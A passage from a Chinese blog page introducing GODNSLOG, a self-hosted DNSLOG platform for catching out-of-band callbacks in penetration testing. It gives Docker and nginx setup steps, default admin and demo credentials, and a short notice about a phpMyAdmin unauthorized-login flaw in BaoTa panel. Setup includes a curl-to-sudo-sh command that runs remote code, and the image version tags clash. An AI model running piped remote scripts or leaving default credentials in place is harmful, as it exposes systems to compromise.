注:一些本地DNS即时收到TTL=0的DNS也依然会缓存,比如说腾讯云会缓存1分钟

  • 4. 多用户

两级用户,内置用户为管理员,管理员可以新建、修改、删除普通用户。普通用户拥有除用户管理功能之外的所有功能

  • 5. 主动推送

这个功能是给内网部署时设计的,我们在检测是否记录时一般是用api查询的,这里需要有个等待机制。跟这种pull的方式对应的就是push方式,在配置/系统模块配置。主动推送比较适合在内网使用,在内网环境中HTTPLOG+主动推送

  • 6. 支持API调用

传统的pull api模式,客户端通过token+api的方式查询DNS/HTTP记录,这里我改进了一下,一般的DNSLOG平台token直接在URL中传递不是很安全,稍微改进了一下,用hash校验替代了token校验。GODNSLOG将支持精准查询和模糊查询两种方式

安装部署

docker一键部署,推荐http前面套个nginx可以套SSL证书

需求:一个域名、用户独立IP的主机.

1.修改域名DNS服务器,使用独立主机IP作为域名的DNS服务器
修改生效需要数小时到48小时,需要等全球DNS都刷新。修改完成之后所有的*.godnslog.com均会指向100.100.100.100

注:如果在内网环境中使用,域名也不是一定要注册的,在内网DNS中配置一个私有域名即可

2. 安装docker环境,并启动实例

curl -s https://get.docker.com/ | sudo sh
systemctl enable docker
systemctl start docker
docker pull sort/godnslog:v0.2.2
docker run -d --name=godnslog -p8080:8080 -p53:53/udp sort/godnslog:v0.2.1 -domain=godnslog.com -4 100.100.100.100

godnslog默认使用sqlite数据库,考虑到性能建议使用外部mysql.
命令行参数可以用以下命令查看

docker run --rm --it sort/godnslog:v0.2.2 --help


注: 此处v0.2.2为当前版本,后续可能会改动,请使用最新版本

mysql DSN格式: https://github.com/go-sql-driver/mysql/#dsn-data-source-name
sqlite DSN格式: https://github.com/mattn/go-sqlite3#dsn-examples

关于持久化,使用外部mysql时数据就是持久化的,sqlite要支持持久化需要通过docker -v参数将宿主机上的文件映射为sqlite数据库文件,否则重启docker后数据会丢失

3. 配置

3.1 安装nginx

yum install nginx
systemctl start nginx
systemctl enable nginx

3.2 配置并重启nginx

server {
listen 80;
server_name www.godnslog.com *.godnslog.com;
# Load configuration files for the default server block.
access_log /var/log/nginx/www.godnslog.com.access.log;
error_log /var/log/nginx/www.godnslog.com.error.log;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
location / {
proxy_pass http://127.0.0.1:8080;
}
}

3.3 配置防火墙开放UDP:53,TCP:80端口

3.4 登录配置用户

内置管理员用户名为admin,密码为password,安装完成后请尽快修改管理员密码。
登录管理员帐户后可以在配置/用户中管理用户

演示网站

演示网站: https://www.godns.vip

测试账号:

  • test1/test123456

  • test2/test123456

  • test3/test123456

  • test4/test123456

  • test5/test123456

  • test6/test123456

  • test7/test123456

  • test8/test123456

  • test9/test123456

  • test10/test123456
    不支持多用户共用一个帐号,后登录会踢掉前面的登录的用户

注意: 演示网站仅提供演示功能,不要用在实际环境,随时可能重启升级!

演示网站本来是申请了godnslog.com,这里吐槽下腾讯云,不支持自定义DNS host也就罢了,坑爹的修改DNS服务器IP还失败了。被迫昨晚又在阿里云申请了gons.vip。推荐在阿里云或者cheapname申请域名。

结语

GDNSLOG当前版本为v0.2.2,这个版本BUG比较多,很多接口还没来得及测试,预计下周发布相对稳定一点的v0.3.0
GODNSLOG设计实现很大程度借鉴了ceye.io,关于DNSLOG的技巧http://ceye.io/payloads页面有详细的描述,这里不再赘述。
v0.3.0完成测试后会将代码发布在GITHUB上。
如果你对这个项目感兴趣;如果你在使用体验中遇到问题需要反馈交流;如果你想吐槽我糟糕的设计、编码;如果你忍不住想动手,想抢先获取GODNSLOG源代码;如果你想反馈BUG;如果你对DNSLOG有些新的想法,想在GODNSLOG上实现;欢迎关注我们的公众号gh_d110440c4890,在公众号后台跟我交流。如果想吐槽的人多了,我会考虑建一个交流群,让大家组团吐槽


阅读原文

跳转微信打开

【宝塔面板】紧急安全更新通知

2020年8月23日 20:29

admin河马 2020-08-23 20:29

刚刚收到宝塔推送安全更新推送短信,请宝塔用户务必重视



今日19点43分收到宝塔推送安全更新推送短信,请宝塔用户务必重视

更新内容:

漏洞危害

据传漏洞的phpMyAdmin鉴权了问题,导致未授权登录。phpMyAdmin是一个用PHP开发的mysql管理系统,登录后可以利用mysql特性getshell。


阅读原文

跳转微信打开

❌
❌